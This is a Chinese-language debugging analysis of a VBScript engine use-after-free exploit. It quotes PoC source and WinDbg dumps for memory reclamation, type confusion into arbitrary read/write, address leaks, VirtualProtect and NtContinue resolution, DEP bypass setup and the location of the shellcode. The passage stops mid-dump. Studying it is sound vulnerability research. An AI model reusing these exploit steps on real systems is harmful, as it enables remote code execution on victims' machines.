調試: cla6 Get P中的第一個IsEmpty :
//列印一個標記,表示進入Get P函數: 0:005> dd poi(esp+c) 01cd08a8 00000008 00000000 01cc7fb4 00000000 01cd08b8 00000000 00000000 00000000 00000000 01cd08c8 00000000 00000000 00000000 00000000 01cd08d8 00000000 00000000 00000000 00000000 01cd08e8 00000000 00000000 00000000 00000000 01cd08f8 00000000 00000000 00000000 00000000 01cd0908 712f0000 01cb2564 01cd2440 712f4211 01cd0918 0249c720 01cd0938 01cb2560 712f4211 0:005> du 01cc7fb4 01cc7fb4 “cal6:call Get P”
第二個IsEmpty:
0:005> dd poi(esp+c) 01cd08a8 00000008 00000000 01cc7fdc 0000200c 01cd08b8 02490002 01cd2fa8 01cb0006 0249c454 01cd08c8 02490002 01cd2fa8 01cb0001 0249c454 0:005> du 01cc7fdc 01cc7fdc “finish set array_b to 0”
Free之前的占位
還記得上面分析UAF里面的第一次cla4_obj1對Trigger的占位嗎,現在再次查看下這個地址:
// For i=0 To 6 // array_b(i)=0 // Next //由於重新進行了調試,這一次的地址是1cb2528,最近的這條日志可以列印出這個地址 Class cla4 at 1cb2528, terminate called 0:005> dd 1cb2528 01cb2528 712f00d4 00000000 00000000 00000000 //原本占位在這里的cla4_obj1的內存被釋放了 01cb2538 000003ec 00000000 00000000 00000000 01cb2548 00000000 002de2a4 00000000 00000000 01cb2558 59acc226 88008da0 712f1748 00000001 01cb2568 01cb5210 003be638 000003ec 00000000 01cb2578 00000000 00000000 00000000 002a613c 01cb2588 00000000 01cb24f0 59acc23f 8c000000 01cb2598 712fce78 71303100 713030f0 00000002 0:005> !heap -a -p 1cb2528 ********************************************** the `!heap -p’ commands in exts.dll have been replaced with equivalent commands in ext.dll. If your are in a KD session, use `!ext.heap -p` ********************************************** 0:005> !heap -p -a 1cb2528 address 01cb2528 found in _HEAP @ 3b0000 HEAP_ENTRY Size Prev Flags UserPtr UserSize – state 01cb2520 0007 0000 [00] 01cb2528 00030 – (free) //堆回溯查看已經被free
重新占位,偽造數據結構
第三次斷點,此時再次進行占位,使用的是cla5_obj1;
//源碼 Set cla5_obj1=New cla5 ‘再次使用懸垂指針重新用cla5_obj1占位, cla5_obj1.mem=str_1 IsEmpty(cla5_obj1) ‘這個str1是一個全局變量, ‘str_1=Unescape(“%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000”)
Breakpoint 3 hit eax=712f185c ebx=0249c5f8 ecx=7134a9d8 edx=0249c570 esi=01cc7394 edi=00000001 eip=7130c206 esp=0249c48c ebp=0249c49c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 7130c206 8bff mov edi,edi 0:005> dd 01cb2528 //可以直接查看前面一步被free的地址,已經再次占位成功 01cb2528 712f1748 00000002 01c***f0 003be638 //這個01c***f0是cla5.mem的地址 01cb2538 000003ec 00000000 00000000 00000000 01cb2548 00000000 002de344 00000000 01cb2560 01cb2558 59acc226 88008da0 712f1748 00000001 01cb2568 01cb5210 003be638 000003ec 00000000 01cb2578 00000000 00000000 00000000 002a613c 01cb2588 01cb2528 01cb24f0 59acc23f 8c000000 01cb2598 712fce78 71303100 713030f0 00000002 0:005> du 002de344 002de344 “cla5” //源碼 cla5_obj1.mem=str_1 0:005> dd 01c***f0 01c***f0 01cb74a8 000000b8 00000100 00000100 01cb5100 00004000 01cb74ac 01cb754c 01cb3e30 01cb5110 0000000f 00000003 00000040 00000003 01cb5120 00000014 01cb5128 01cb74ac 01cb74f4 01cb5130 01cb752c 00000475 00000000 01cb5100 01cb5140 01cb5114 00000002 00000000 00000477 01cb5150 0000047d 000015c6 00000002 00000000 01cb5160 0000047e 00000482 00000bfc 00000012 0:005> dd 01cb752c 01cb752c 00000008 00000000 002de2f4 00000000 //0x08是類型,代表的vbstring,後面會把這個類型改為safearray即0x200c 01cb753c 00000000 00000000 0000822f 00000006 01cb754c 00000000 00000000 00000003 01cb752c 01cb755c 0065006d 0000006d 00000b19 00000b5b 01cb756c 00000000 01cb749c 01cb7540 00000001 01cb757c 00000000 00000b65 00000b69 01cb7824 01cb758c 00000001 00000000 00000b6a 00000b6e 01cb759c 01cb7824 00000002 00000000 00000b6f //看偽造的這個類似於數組的字符串,它的元素有7fffffff個,每個元素占一字節,元素內存地址為0,那它能訪問的內存空間是0-0x7fffffff //如果現在類型變為safearray,就能夠做到全址讀寫 //str_1=Unescape(“%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000”) 0:005> dd 002de2f4 002de2f4 08800001 00000001 00000000 00000000 002de304 7fffffff 00000000 00000000 585693f7 002de314 88000000 0000000e 81ea6765 98757f51
雙精度浮點數完成類型混淆的原理
Get P 執行完成後,P作為返回值返回給cla4.mem成員變量中,那麼P是什麼:
//源碼中; P=174088534690791e-324 //優化後這樣的: P=CDbl(“174088534690791e-324”) //CDbl是vbs中的吧表達式轉化為雙精度類型的一個函數 174088534690791 e-324 是174088534690791的-324平方 用c語言計算為:printf(“%I64x\n”,174088534690791e-324); 為,200c00000000, 由它是vbDouble類型,前面會有一個0x05的標誌, 最終在內存中P的值為:00000005 00000000 00000000 0000200C
再次查看mem地址;
0:005> dd 01cb752c 01cb752c 0000200c 00000000 002de2f4 00000000 //類型被改為200c,代表著safearray類型01cb753c 00000000 00000000 0000822f 00000006 01cb754c 00000000 00000000 00000003 01cb752c 01cb755c 0065006d 0000006d 00000b19 00000b5b 01cb756c 00000000 01cb749c 01cb7540 00000001 01cb757c 00000000 00000b65 00000b69 01cb7824 01cb758c 00000001 00000000 00000b6a 00000b6e 01cb759c 01cb7824 00000002 00000000 00000b6f 0:005> dd 01cb752c-c 01cb7520 00000005 00000000 00000000 0000200c //這個就是P在內存中的值01cb7530 00000000 002de2f4 00000000 00000000 01cb7540 00000000 0000822f 00000006 00000000 01cb7550 00000000 00000003 01cb752c 0065006d 01cb7560 0000006d 00000b19 00000b5b 00000000 01cb7570 01cb749c 01cb7540 00000001 00000000 01cb7580 00000b65 00000b69 01cb7824 00000001 01cb7590 00000000 00000b6a 00000b6e 01cb7824 //為什麼是從mem地址-c開始的,,這個-c的位置,是原來沒有被釋放的時候的cla4_obj1.mem的地址, //就是P修改的是釋放前的mem的地址,釋放前與占位後的mem相差0x0C字節, //00000005 00000000 00000000 0000200C這個數,剛好從0c的位置寫入了0x200c
最終做到了 vbstring–>safearray的類型轉換,cla5.mem最終拿到任意地址讀寫權限
在InitObjects函數中的cla4_obj2.SetProp(cla7_obj1)使用了同樣的方法,
偽造的字符串: str_2=Unescape(“%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000”) 轉換的類型: P=CDbl(“636598737289582e-328”) //dd 00000005 00000000 00000000 00000003 0x03是vbLong類型;
cla7的Get P中的第一次IsEmpty,free類對象地址:
//這次特意提前保存了沒有被free的cla4_obj2類對象地址的狀態: 0:005> dd 1cb2560 01cb2560 712f1748 00000007 01cb5210 003be638 01cb2570 000003ec 00000000 00000000 00000000 01cb2580 00000000 002a613c 01cb2528 01cb24f0 01cb2590 59acc23f 80000000 712f00d4 71303100 01cb25a0 713030f0 00000000 00000000 00000000 01cb25b0 00000000 0249cb64 00000000 00000000 01cb25c0 00000000 00000000 59acc234 80000000 01cb25d0 712f00db 71303100 713030f0 00000000 //目前還是cla4_obj2.mem 0:005> dd 01cb5210 01cb5210 01cb76d8 000000ac 00000100 00000100 01cb5220 00004000 01cb76dc 01cb7770 01cb3ec0 01cb5230 0000000f 00000003 00000040 00000003 01cb5240 00000014 01cb5248 01cb76dc 01cb7710 01cb5250 01cb7750 000004a3 00000000 01cb51b8 01cb5260 01cb522c 00000002 00000000 000004a5 //占位前的mem地址是01cb7750 0:005> dd 01cb7750 01cb7750 02490000 01cd2808 01cc0000 0249ce98 01cb7760 00000000 01cb7938 0000822f 00000006 01cb7770 00000000 00000000 00000003 00000000 Class cla4 at 1cb2560, terminate called Breakpoint 3 hit eax=712f185c ebx=0249c5f8 ecx=7134a9d8 edx=0249c570 esi=01cc7394 edi=00000001 eip=7130c206 esp=0249c48c ebp=0249c49c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 7130c206 8bff mov edi,edi 0:005> dd poi(esp+c) 01cd08a8 00000008 00000000 01cc7f6c 00000003 01cd08b8 02490002 01cd2fa8 01cb0006 0249c454 01cd08c8 02490002 01cd2fa8 01cb0001 0249c454 01cd08d8 00000000 00000000 00000000 00000000 01cd08e8 00000000 00000000 00000000 00000000 01cd08f8 00000000 00000000 00000000 00000000 01cd0908 00000005 00000000 00000000 00000003 01cd0918 0249c720 01cd0938 01cb2560 712f4211 0:005> du 01cc7f6c 01cc7f6c “finish set array_c to 0” //再看類對象地址已經被free 0:005> dd 1cb2560 01cb2560 712f00d4 00000000 00000000 00000000 01cb2570 000003ec 00000000 00000000 00000000 01cb2580 00000000 002a613c 00000000 00000000 01cb2590 59acc23f 8c000000 712fce78 71303100 01cb25a0 713030f0 00000002 003be638 01cd27d0 01cb25b0 0029f090 0249cb64 00000000 00000000 01cb25c0 00000000 00000000 59acc234 80000000 01cb25d0 712f00db 71303100 713030f0 00000000 0:005> !heap -p -a 1cb2560 address 01cb2560 found in _HEAP @ 3b0000 HEAP_ENTRY Size Prev Flags UserPtr UserSize – state 01cb2558 0007 0000 [00] 01cb2560 00030 – (free)
cla7的Get P中的第二次IsEmpty,占位:
Breakpoint 3 hit eax=712f185c ebx=0249c5f8 ecx=7134a9d8 edx=0249c570 esi=01cc7394 edi=00000001 eip=7130c206 esp=0249c48c ebp=0249c49c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 7130c206 8bff mov edi,edi 0:005> dd 1cb2560 01cb2560 712f1748 00000002 01cb5210 003be638 //占位成功 ,01cb5210為cla5.mem 01cb2570 000003ec 00000000 00000000 00000000 01cb2580 00000000 002a613c 00000000 01cb2528 01cb2590 59acc23f 8c000000 712fce78 71303100 01cb25a0 713030f0 00000002 003be638 01cd27d0 01cb25b0 0029f090 0249cb64 00000000 00000000 01cb25c0 00000000 00000000 59acc234 8c000000 01cb25d0 712fce78 71303100 713030f0 00000001 0:005> du 002a613c 002a613c “cla5” :005> dd 01cb5210 01cb5210 01cb76d8 000000b8 00000100 00000100 01cb5220 00004000 01cb76dc 01cb777c 01cb3ec0 01cb5230 0000000f 00000003 00000040 00000003 01cb5240 00000014 01cb5248 01cb76dc 01cb7724 01cb5250 01cb775c 000004a3 00000000 01cb51b8 01cb5260 01cb522c 00000002 00000000 000004a5 01cb5270 000004aa 00000c93 00000002 00000000 01cb5280 000004ab 000004af 000017a6 00000012 //可以看到占位後的地址是 01cb775c 與上面保存的占位前的mem的地址01cb7750相差0xc 0:005> dd 01cb775c 01cb775c 00000008 00000000 002de31c 00000000 //原始類型為一個0x08 vbstring類型 01cb776c 00000000 00000000 0000822f 00000006 01cb777c 00000000 00000000 00000003 45001e5b //當前字符串的內容為:str_2=Unescape(“%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000”) 0:005> dd 002de31c 002de31c 00000000 00000000 00000000 00000000 002de32c 00000000 00000000 00000000 585693f2
cla7的Get P中的第三次IsEmpty,類型混淆:
0:005> dd 01cb5210 01cb5210 01cb76d8 000000b8 00000100 00000100 01cb5220 00004000 01cb76dc 01cb777c 01cb3ec0 01cb5230 0000000f 00000003 00000040 00000003 01cb5240 00000014 01cb5248 01cb76dc 01cb7724 01cb5250 01cb775c 000004a3 00000000 01cb51b8 01cb5260 01cb522c 00000002 00000000 000004a5 01cb5270 000004aa 00000c93 00000002 00000000 01cb5280 000004ab 000004af 000017a6 00000012 0:005> dd 01cb775c 01cb775c 00000003 00000000 002de31c 00000000 //類型更改後,0x03是vbLong類型01cb776c 00000000 00000000 0000822f 00000006 01cb777c 00000000 00000000 00000003 45001e5b //P=CDbl(“636598737289582e-328”) //dd 00000005 00000000 00000000 000000030:005> dd 01cb775c-c 01cb7750 00000005 00000000 00000000 00000003 01cb7760 00000000 002de31c 00000000 00000000 01cb7770 00000000 0000822f 00000006 00000000 01cb7780 00000000 00000003 45001e5b 0065006d
泄露指向字符串的指針,最後還有一句關鍵的代碼://源碼 Alert “InitObjects2” spec_int_1=cla4_obj2.mem ‘這句將上面指向0000的那個字符串的指針泄露給了spec_int_1 IsEmpty(spec_int_1)
0:005> dd poi(esp+c) 0055fe68 00000003 00000000 003f9dd4 0c002e3a 0055fe78 00000000 00000000 02021598 00000000 0055fe88 024bd3d8 0055fea8 020217a0 00000000 0055fe98 024b0000 0055ffa8 00000000 00000000 0055fea8 024bd61c 0055ffa8 02021598 00000000 0055feb8 0000400c 00000000 02020fd0 00000000 0055fec8 0000400c 00000000 02020f80 00000000 0055fed8 0000400c 00000000 02020f3c 00000000 0:005> dd 003f9dd4 003f9dd4 00000000 00000000 00000000 00000000 //這個地址指向的就是00那個字符串, 003f9de4 00780000 00000074 003f93a4 4b92935b //由於windbg重新啟動地址與上面不一致,但是從周圍的元素可以觀察出是一致的 003f9df4 8c000000 00000001 00000000 00000000 003f9e04 7fffffff 7fffffff 80000001 80000001 003f9e14 00000000 4b929326 88000000 00000000 003f9e24 006e0000 00740069 0062004f 0065006a 003f9e34 00740063 00000073 003f9e4c 4b92932d 003f9e44 88000000 00000018 006e0049 00740069
3.3.PoC 中的地址泄露
//此函數泄露 CEntryPoint 對象的虛函數表地址,該地址屬於Vb.dll。 Function LeakVBAddr On Error Resume Next ‘忽略錯誤,執行下一條代碼 Dim emptySub_addr_placeholder ‘構造一個類型為null 的 CEntryPoint 對象 emptySub_addr_placeholder=EmptySub emptySub_addr_placeholder=null IsEmpty(emptySub_addr_placeholder) ‘此斷點可以查看此 CEntryPointObject 地址 SetMemValue emptySub_addr_placeholder ‘這種傳參數不用括號也是可以的 LeakVBAddr=GetMemValue End Function
在LeakVBAddr函數中 IsEmpty 斷下查看 emptySub_addr_placeholder 是什麼;
0:005>dd poi(esp+c)
0055fe58 00000001000007ff 0055e030 cf0000cf //這個對象地址下一步會保存在指向空字符串+8的地方
0055fe68 00000001000007ff 0055e030 cf0000cf
0055fe78 00000000000000000202159800000000
0055fe88 024bd3d8 0055fea8 020217a0 00000000
0:005>ln poi(0055e030)//發現它是一個CEntryPoint對象,
(6a5b4934)vb!CEntryPoint::`vftable’ | (6a5cab54) vb!CEntryPointDispatch::`vftable’
Exact matches:
vb!CEntryPoint::`vftable`=<no type information>
源碼短短幾句簡單的代碼會產生一個CEntryPoint對象的原因為:
On Error Resume Next //首先它定義了忽略錯誤 Dim emptySub_addr_placeholder //定義一個變量 emptySub_addr_placeholder =EmptySub //將函數指針賦值給一個變量,VBS語法是不允許這樣的 //但是其上面忽略了錯誤,最終這個函數指針的值仍然被賦值給了變量 emptySub_addr_placeholder=null //然後將該值的類型設置為null //最終,變量里面仍然保存著一個函數指針,但是類型為null
進入SetMemValue函數: 要記住上面在InitObjects函數的最後spec_int_1中保存的就是那個0字符串的地址
//源碼 Sub SetMemValue(ByRef Ili) cla4_obj1.mem(spec_int_1+8)=Ili ‘將CEntryPoint對象放到spec_int_1+8的位置 IsEmpty(“SetMemValue Finish”) End Sub
可以這樣修改是因為在cla4_obj1.mem已經是一個可以全地址讀寫的array了,繼續, IsEmpty斷下後:
//調試 Breakpoint 3 hit eax=6a5b185c ebx=024bcea0 ecx=6a60a9d8 edx=024bce18 esi=02016a68 edi=00000001 eip=6a5cc206 esp=024bcd34 ebp=024bcd44 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 6a5cc206 8bff mov edi,edi //這個地址就是上面的指向空字符的地址: 0:005> dd 003f9dd4 003f9dd4 00000000 00000000 00000001 000007ff //從+8的位置保存的便是CEntryPoint對象,這個0x01是vbNull(可查詢上方表格) 003f9de4 0055e030 cf0000cf 003f93a4 4b92935b 003f9df4 8c000000 00000001 00000000 00000000 003f9e04 7fffffff 7fffffff 80000001 80000001 003f9e14 00000000 4b929326 88000000 00000000 003f9e24 006e0000 00740069 0062004f 0065006a 003f9e34 00740063 00000073 003f9e4c 4b92932d 003f9e44 88000000 00000018 006e0049 00740069
然後進入GetMemValue函數:
//源碼Function GetMemValue cla4_obj1.mem(spec_int_1)= 3 ‘將CEntryPoint對象 的類型改為3 即為Long IsEmpty(“GetMemValue Finish”) GetMemValue=cla4_obj1.mem(spec_int_1+ 8)End Function
IsEmpty 斷下後:
//調試 0:005> dd poi(esp+c) 0055fe38 00000008 024bcf28 02016a38 03120780 0055fe48 024b0000 0055fe88 024b0001 0055c7e8 0055fe58 024bd194 0055fe88 0055fe68 cf0000cf 0:005> du 02016a38 02016a38 “GetMemValue Finish” //這是打的斷點標記 0:005> dd 003f9dd4 //str_2地址 003f9dd4 00000002 024bcf28 02020003 03120780 //02020003高位保存的03(vbLong)就是賦值的位置,類型改變成功了,但是周圍生成的值是哪里來的(這些值是不影響的但是就是沒搞清楚來源)? 003f9de4 0055e030 cf0000cf 003f93a4 4b92935b //+8的位置沒有變 003f9df4 8c000000 00000001 00000000 00000000 003f9e04 7fffffff 7fffffff 80000001 80000001 003f9e14 00000000 4b929326 88000000 00000000 003f9e24 006e0000 00740069 0062004f 0065006a 003f9e34 00740063 00000073 003f9e4c 4b92932d 003f9e44 88000000 00000018 006e0049 00740069
在GetMemValue=cla4_obj1.mem(spec_int_1+8)這一步把0055e030的值給了GetMemValue,GetMemValue賦值給了LeakVBAddr ,以上整個 LeakVBAddr 函數過程得到了 vbLong 型的 CEntryPoint對象地址
我們在 StartExploit 中確認一下是否正確
UAF InitObjects vb_adrr=LeakVBAddr IsEmpty(vb_adrr) //確認IsEmpty的值
在 IsEmpty 中斷下:
Breakpoint 3 hit eax=6a5b185c ebx=024bd328 ecx=6a60a9d8 edx=024bd2a0 esi=02016a68 edi=00000001 eip=6a5cc206 esp=024bd1bc ebp=024bd1cc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 6a5cc206 8bff mov edi,edi 0:005> dd poi (esp+c) 0055fe88 02020003 03120780 0055e030 cf0000cf //的確是我們上面得到的類對象地址 0055fe98 024b0000 0055ffa8 00000000 00000000 0055fea8 024bd61c 0055ffa8 02021598 00000000 0:005> ln poi(0055e030) (6a5b4934) vb!CEntryPoint::`vftable’ | (6a5cab54) vb!CEntryPointDispatch::`vftable’ Exact matches: vb!CEntryPoint::`vftable’ =
3.4 關鍵地址的獲取
3.4.1 獲取虛函數表地址
先看 PoC 中的GetUint32函數:
//函數參數為對象地址,然後該函數返回的是這個對象的虛函數表地址 Function GetUint32(addr) Dim value IsEmpty(“enter GetUint32”) cla4_obj1.mem(spec_int_1+8)=addr+4 ‘原本存放CEntryPoint對象的位置 存放 該對象地址+4 IsEmpty(“spec_int_1+8”) cla4_obj1.mem(spec_int_1)=8 ‘改為字符串 type string IsEmpty(“type string”) value=cla4_obj1.P0123456789 IsEmpty(value) cla4_obj1.mem(spec_int_1)=2 ‘改為 整型 type vbInteger IsEmpty(“type vbInteger”) GetUint32=value End Function
單純看上面代碼一頭霧水,我們從內存中看:
//剛enter GetUint32時,003c7c7c地址是str_2空字符串地址 0:005> dd 003c7c7c 003c7c7c 00000002 0241cdc0 772c0003 0241d1f8 //772c0003mem地址 003c7c8c 0061e788 0241d038 00000000 08e9cd8e //0061e788是CEntryPoint類對象地址 003c7c9c 80000000 688a0075 00000873 003c9188 003c7cac 00000000 003c7cf0 00000035 003fbc74 003c7cbc 003c7ccc 08e9cd85 80000000 0000007a 003c7ccc 00680063 00630065 0062006b 0078006f 003c7cdc 00000000 00000000 00000000 08e9cd80 003c7cec 80000000 688a0048 00000874 003c9188 //cla4_obj1.mem(spec_int_1+8)=addr+4 0:005> dd 003c7c7c 003c7c7c 00000002 0241cdc0 772c0003 0241d1f8 003c7c8c 0061e78c 0241d038 00000000 08e9cd8e //0061e788—> 0061e78c003c7c9c 80000000 688a0075 00000873 003c9188 003c7cac 00000000 003c7cf0 00000035 003fbc74 003c7cbc 003c7ccc 08e9cd85 80000000 0000007a 003c7ccc 00680063 00630065 0062006b 0078006f 003c7cdc 00000000 00000000 00000000 08e9cd80 003c7cec 80000000 688a0048 00000874 003c9188 // cla4_obj1.mem(spec_int_1)=8 0:005> dd 003c7c7c 003c7c7c 772c0002 0241d1f8 02440008 0241d038 //類型0x03vbLong–>0x08vbString003c7c8c 0061e78c 0241d038 00000000 08e9cd8e 003c7c9c 80000000 688a0075 00000873 003c9188 003c7cac 00000000 003c7cf0 00000035 003fbc74 003c7cbc 003c7ccc 08e9cd85 80000000 0000007a 003c7ccc 00680063 00630065 0062006b 0078006f 003c7cdc 00000000 00000000 00000000 08e9cd80 003c7cec 80000000 688a0048 00000874 003c9188
然後 value=cla4_obj1.P0123456789 這一步,先說結論,最終返回的是 CEntryPoint類對象的虛函數表地址 為什麼? 看一下 cla4_obj1.P0123456789 的做到邏輯:
Class cla5 Dim mem Function P0123456789 P0123456789=LenB(mem(spec_int_1+8)) End Function Function SPP End Function End Class
LenB 在VB.dll中調用的是cbLengthBstr,下面是它的代碼
.text:6E4F38C2 ; unsigned __int32 __stdcall cbLengthBstr(unsigned __int16 *) .text:6E4F38C2 ?cbLengthBstr@@YGKPAG@Z proc near ; CODE XREF: rtConcatBstr(ushort *,ushort *)+C p .text:6E4F38C2 ; rtConcatBstr(ushort *,ushort *)+16 p … .text:6E4F38C2 .text:6E4F38C2 arg_0 = dword ptr 8 .text:6E4F38C2 .text:6E4F38C2 mov edi, edi .text:6E4F38** push ebp .text:6E4F38C5 mov ebp, esp .text:6E4F38C7 mov eax, [ebp+arg_0] .text:6E4F38CA test eax, eax .text:6E4F38CC jz short loc_6E4F38D1 .text:6E4F38CE mov eax, [eax-4] //這一步是重點 .text:6E4F38D1 .text:6E4F38D1 loc_6E4F38D1: ; CODE XREF: cbLengthBstr(ushort *)+A j .text:6E4F38D1 pop ebp .text:6E4F38D2 retn 4 .text:6E4F38D2 ?cbLengthBstr@@YGKPAG@Z endp
CEntryPoint對象地址是0061e788,對象地址+4仍然存放在這里就是0061e78c,代碼更改了它的類型為vbstring,那麼這個值就變成了BSTR字符串指針,然後使用LenB求它的長度;
但是在 cbLengthBstr 內部的執行是將mov eax, [eax-4],這是因為正常的 BSTR 字符串的結構是:前四個字節保存的是字符串長度,在字符串結尾以字符0識別,BSTR****。
但是我們這個原本不是 BSTR 字符串類型,當[eax-4]的時候得到仍然是類對象地址中的內容;
0:005> dd [0061e78c-4] 0061e788 6e654934 00000001 0061ff68 02446528 //0061e788保存的本來就是虛函數表的地址0061e798 0244f9a8 00000000 0061ff68 0061fc80 0061e7a8 67352229 0800c9e4 6e654934 00000001 0061e7b8 0061ff68 02446528 0244f9dc 00000000 0061e7c8 0061ff68 0061fc80 67352229 0800c9e4 0061e7d8 6e654934 00000001 0061ff68 02446528 0061e7e8 0244fa50 00000000 0061ff68 0061fc80 0061e7f8 67352229 0800c9e4 6e654934 00000001
以上為得到VB.dll中的CEntryPoint對象虛函數表的過程
3.4.2.獲取 VB.dll 基地址
Function FindMzBase(vtable_address) Dim base base=vtable_address And &hffff0000 ’64k對齊,得到vb.dll 基地址 Alert “FindMzBase ” IsEmpty(base) Do While GetUint32(base+&h68)<>&h206E6920 Or GetUint32(base+&h6c)<>&h20534F44 base=base-&h10000 Loop IsEmpty(base) FindMzBase=base End Function
上面獲得的虛函數表的地址是 CEntryPoint 對象的,這個地址屬於 VB.dll,由於內存的64k對齊,把虛函數表地址後四位置零便得到 VB.dll 的基地址。
3.4.3.獲取其餘關鍵dll與函數地址
VB.dll 導入了 msvcrt.dll , msvcrt.dll 又導入了 kernelbase.dll 與 ntdll.dll ,遍歷它們的導入表最終可以從 kernelbase.dll 中獲取到 VirtualProtect 函數地址,從 ntdll.dll 中獲取 NtContinue 函數地址。
這部分屬於PE文件的操作,請允許我不再詳細分析。
‘首先得到VB地址,其傳入的是CEntryPoint虛函數表對象地址 vbs_base=FindMzBase(GetUint32(vb_adrr)) Alert “VB Base: 0x” & Hex(vbs_base) ‘遍歷VB.dll導入表找到msvcrt.dll基地址 msv_base=GetBaseFromImport(vbs_base,”msvcrt.dll”) Alert “MSVCRT Base: 0x” & Hex(msv_base) ‘遍歷msvcrt.dll導入表找到kernelbase.dll基地址 krb_base=GetBaseFromImport(msv_base,”kernelbase.dll”) Alert “KernelBase Base: 0x” & Hex(krb_base) ‘遍歷msvcrt.dll導入表找到ntdll.dll基地址 ntd_base=GetBaseFromImport(msv_base,”ntdll.dll”) Alert “Ntdll Base: 0x” & Hex(ntd_base) ‘從kernelbase.dll找到VirtualProtect函數地址 VirtualProtectAddr=GetProcAddr(krb_base,”VirtualProtect”) Alert “KernelBase!VirtualProtect Address 0x” & Hex(VirtualProtectAddr) ‘從ntdll.dll找到 NtContinue 函數地址 NtContinueAddr=GetProcAddr(ntd_base,”NtContinue”) Alert “Ntdll!NtContinue Address 0x” & Hex(NtContinueAddr)
3.5 ShellCode的執行
3.5.1.ShellCode位置
源碼中的shellcode部分的混淆我沒有去理會,我們只要研究他是怎麼執行起來的,環境是怎麼構造的;
//PoC源碼 SetMemValue GetShellcode ShellcodeAddr=GetMemValue+8 IsEmpty(ShellcodeAddr)
//GetShellcode最終返回的是Shellcode的地址, //SetMemValue 仍然與將這個字符串賦值到cla4_obj1.mem處 //執行之前spec_int_1處: //現在保留的是CEntryPoint對象+4的一個值,正常這里是最近的獲取的函數的值 0:014> dd 00579aec 00579aec 00000002 00000000 6e610002 00000000 00579afc 0019e90c 025dcd08 00000000 01ad84c9 00579b0c 88000000 00000006 006f0046 0000006f 00579b1c 6d887684 0000606f 0000003e 00000000 00579b2c 00000000 01ad84ce 88000000 00000018 00579b3c 0065006d 00730073 00670061 00530065 00579b4c 00790074 0065006c 00000000 01ad84c3 00579b5c 80000000 688a00ed 0000086e 00579310 //SetMemValue GetShellcode執行之後 0:006> dd 00579aec 00579aec 00000002 00000000 025d0008 01c03508 00579afc 025e0024 025dc864 00000000 01ad84c9 00579b0c 88000000 00000006 006f0046 0000006f 00579b1c 6d887684 0000606f 0000003e 00000000 00579b2c 00000000 01ad84ce 80000000 000000ac 00579b3c 00000071 00530074 00650068 006c006c 00579b4c 006f0063 00650064 00000000 01ad84c3 00579b5c 88000000 00000004 00300030 00310000 //ShellcodeAddr=GetMemValue+8 //GetMemValue函數把spec_int_1類型改為long型,並把+08的地址返回
025e0024 就是shellcode的入口,準確的說是在 025e0024+8 的位置 在內存中看一下:
0:006> db 025e0024 l100 //從025e002c開始,前面是00 025e0024 00 00 00 00 00 00 00 00-fc e8 82 00 00 00 60 89 …………..`. 025e0034 e5 31 c0 64 8b 50 30 8b-52 0c 8b 52 14 8b 72 28 .1.d.P0.R..R..r( 025e0044 0f b7 4a 26 31 ff ac 3c-61 7c 02 2c 20 c1 cf 0d ..J&1.. !pte 025e0024 VA 025e0024 PDE at C0600090 PTE at C0012F00 contains 0000000076382867 contains 8000000043F0F867 pfn 76382 —DA–UWEV pfn 43f0f —DA–UW-V
現在shellcode的已經加載到內存中了,接下來就是構造環境執行的問題了
3.5.2.ShellCode 繞過DEPv
重點是這兩個函數:
SetMemValue VirtualProtectCallParameters(ShellcodeAddr) lIlll=GetMemValue+69596 ‘0x10FDC IsEmpty(lIlll) SetMemValue ExpandWithVirtualProtect(lIlll) llIIll=GetMemValue IsEmpty(llIIll)
先看 VirtualProtectCallParameters 函數:
‘構造VirtualProtect環境 參數為shellcode地址 Function VirtualProtectCallParameters(ShellcodeAddrParam) ‘bypass cfg Alert “VirtualProtectCallParameters” Dim result result=String((100334-65536),Unescape(“%u4141”)) ‘重復0x10FDC個「A」 result=result &EscapeAddress(ShellcodeAddrParam) ‘在0FDC個「A」後面放入shellcode地址 result=result &EscapeAddress(ShellcodeAddrParam) ‘第一個參數 修改的基地址 result=result &EscapeAddress(&h3000) ‘第二個參數 size result=result &EscapeAddress(&h40) ‘第三個參數PAGE_EXECUTE_READWRITE 0x40) result=result &EscapeAddress(ShellcodeAddrParam-8) ‘第四個,內存原始屬性保存地址 result=result &String(6,Unescape(“%u4242”)) ‘重復 6個「**」 result=result &StructWithNtContinueAddr ‘ \x00 * 3 NtContinue * 4 \x00 result=result &String((&h80000-LenB(result))/2,Unescape(“%u4141”)) ‘重復 0x80000- ?個「AA」 VirtualProtectCallParameters=result End Function
一步一步解析:(VBS里面的&代表的是字符串的連接)
//源碼:result=String((100334-65536),Unescape(“%u4141”)) //重復0x10FDC個「AA」 0:005> dd poi(esp+c) lc 0055e470 0000004a 00000000 02129da8 00000000 0055e480 024d0008 024dcc34 0392ca3c 024dcc1c 0055e490 00000000 02108298 0037a1bc 0055f5cc 0:005> dd 02129da8 lc 02129da8 00000008 00000000 0393da34 00000000 02129db8 00000000 00000000 655fbbf0 0c04fced 02129dc8 00000000 00550050 00000000 0055f698 //申請出的字符串 0:005> db 0393da34 0393da34 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0393da44 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0393da54 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0393da64 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0393da74 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0393da84 